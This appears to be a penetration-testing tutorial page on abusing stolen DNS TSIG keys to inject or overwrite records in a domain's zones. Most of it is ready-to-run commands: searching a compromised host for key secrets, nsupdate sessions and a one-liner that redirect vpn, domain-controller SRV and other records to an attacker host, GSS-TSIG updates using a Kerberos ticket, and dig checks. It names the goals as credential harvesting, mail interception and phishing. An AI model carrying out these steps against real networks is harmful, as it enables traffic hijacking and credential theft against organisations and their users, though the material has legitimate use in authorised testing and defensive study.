Skip to content
HackIndex logo

HackIndex

TSIG Key Abuse – Authenticated DNS Zone Manipulation

4 min read Mar 11, 2026

TSIG keys authenticate DNS dynamic updates and zone transfers using HMAC-signed requests. If you obtain a valid TSIG key — from a compromised host, config file, BIND keyfile, or a DNS management server — you can authenticate to the DNS server as a trusted client and push arbitrary record changes to any zone the key is authorized for.

The impact is direct: you can redirect traffic, intercept authentication, poison internal name resolution, and set up man-in-the-middle positions across the entire domain. On environments where DNS controls access to internal services, this is equivalent to controlling the network.

Where TSIG Keys Live

TSIG keys are stored as base64-encoded HMAC secrets. Common locations:

  • BIND9: /etc/bind/named.conf, /etc/bind/*.key, or included key files referenced in named.conf

  • Windows DNS with GSS-TSIG: negotiated via Kerberos, no static key file — requires a valid domain account

  • DHCP servers that perform DNS updates: /etc/dhcp/dhcpd.conf often contains the key inline

  • Automation scripts and Ansible/Terraform configurations used to manage DNS records

  • /etc/nsupdate.key or application config files on hosts that register their own DNS records dynamically

On a compromised Linux host, check:

┌──(kali㉿kali)-[~]
└─$ grep -r "secret" /etc/bind/ /etc/named/ /etc/dhcp/ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find / -name "*.key" -o -name "*.private" 2>/dev/null | grep -v proc

The key will look like:

key "update-key" {
    algorithm hmac-sha256;
    secret "base64encodedkeyvaluehereXXXXXXXX==";
};

Note the algorithm, key name, and secret — you need all three.

Injecting Records with nsupdate

nsupdate is the standard tool for authenticated dynamic DNS updates. It is part of bind9-utils and is available on Kali by default.

Authenticate with the key inline using -y algorithm:keyname:secret:

┌──(kali㉿kali)-[~]
└─$ nsupdate -y hmac-sha256:update-key:base64encodedkeyvaluehereXXXXXXXX== -v

The -v flag forces TCP, which is more reliable for update transactions. Once in the interactive prompt:

server $TARGET_IP
zone $DOMAIN
update add evil.$DOMAIN 300 A $LHOST
send

To overwrite an existing record — for example to redirect vpn.$DOMAIN to your host:

server $TARGET_IP
zone $DOMAIN
update delete vpn.$DOMAIN A
update add vpn.$DOMAIN 300 A $LHOST
send

A successful update produces no output. An error returns NOTAUTH, REFUSED, or BADSIG. BADSIG means wrong key. REFUSED means the key is valid but not authorized for that zone or record type.

One-liner from the Command Line

For scripted use, pipe commands to nsupdate non-interactively:

┌──(kali㉿kali)-[~]
└─$ echo -e "server $TARGET_IP\nzone $DOMAIN\nupdate add pwned.$DOMAIN 300 A $LHOST\nsend" | nsupdate -y hmac-sha256:update-key:base64encodedkeyvaluehereXXXXXXXX== -v

Using a Key File Instead of Inline

If you have recovered the actual .key or .private file from BIND, use -k instead:

┌──(kali㉿kali)-[~]
└─$ nsupdate -k /path/to/Kupdate-key.+157+12345.private -v

BIND key files are in the format generated by dnssec-keygen. The .private file contains the raw secret. The .key file contains the public form. Either can be used with -k.

High-Value Record Targets

Once you have authenticated write access, the records worth targeting depend on the engagement:

A/AAAA records for authentication services — redirect dc.$DOMAIN, adfs.$DOMAIN, vpn.$DOMAIN, or internal SSO endpoints to a host you control running Responder or a credential-harvesting proxy. Any user or machine authenticating to that name now authenticates to you.

MX records — redirect mail to your host to intercept password reset emails and internal communications.

SRV records — Windows clients use _ldap._tcp.$DOMAIN and _kerberos._tcp.$DOMAIN SRV records to locate domain controllers. Replacing these sends authentication traffic to a host you control.

server $TARGET_IP
zone $DOMAIN
update delete _ldap._tcp.$DOMAIN SRV
update add _ldap._tcp.$DOMAIN 300 SRV 0 100 389 $LHOST
send

CNAME records for internal applications — redirect internal web applications to your server to capture session tokens or serve phishing pages in a trusted context.

Verifying the Injection

Confirm the record is live:

┌──(kali㉿kali)-[~]
└─$ dig @$TARGET_IP evil.$DOMAIN A +short

If the IP you injected comes back, the update succeeded and is being served. On secondary DNS servers, allow time for zone transfer propagation or force it if you have AXFR access.

Windows DNS with GSS-TSIG

Active Directory DNS uses GSS-TSIG, which replaces static HMAC keys with Kerberos tickets. If you have valid domain credentials, Windows DNS dynamic updates authenticate automatically through Kerberos — no key extraction needed.

With a valid domain account or a TGT you have obtained, you can update DNS records directly using nsupdate with GSS-TSIG:

┌──(kali㉿kali)-[~]
└─$ nsupdate -g -v

The -g flag enables GSS-TSIG. Your current Kerberos ticket (or the one set in KRB5CCNAME) is used automatically. Then proceed with the same update syntax:

server $TARGET_IP
zone $DOMAIN
update add attacker.$DOMAIN 300 A $LHOST
send

This is particularly relevant in ADIDNS environments. Note the overlap with the ADIDNS poisoning technique — GSS-TSIG authenticated updates are the mechanism behind ADIDNS record injection as well.

References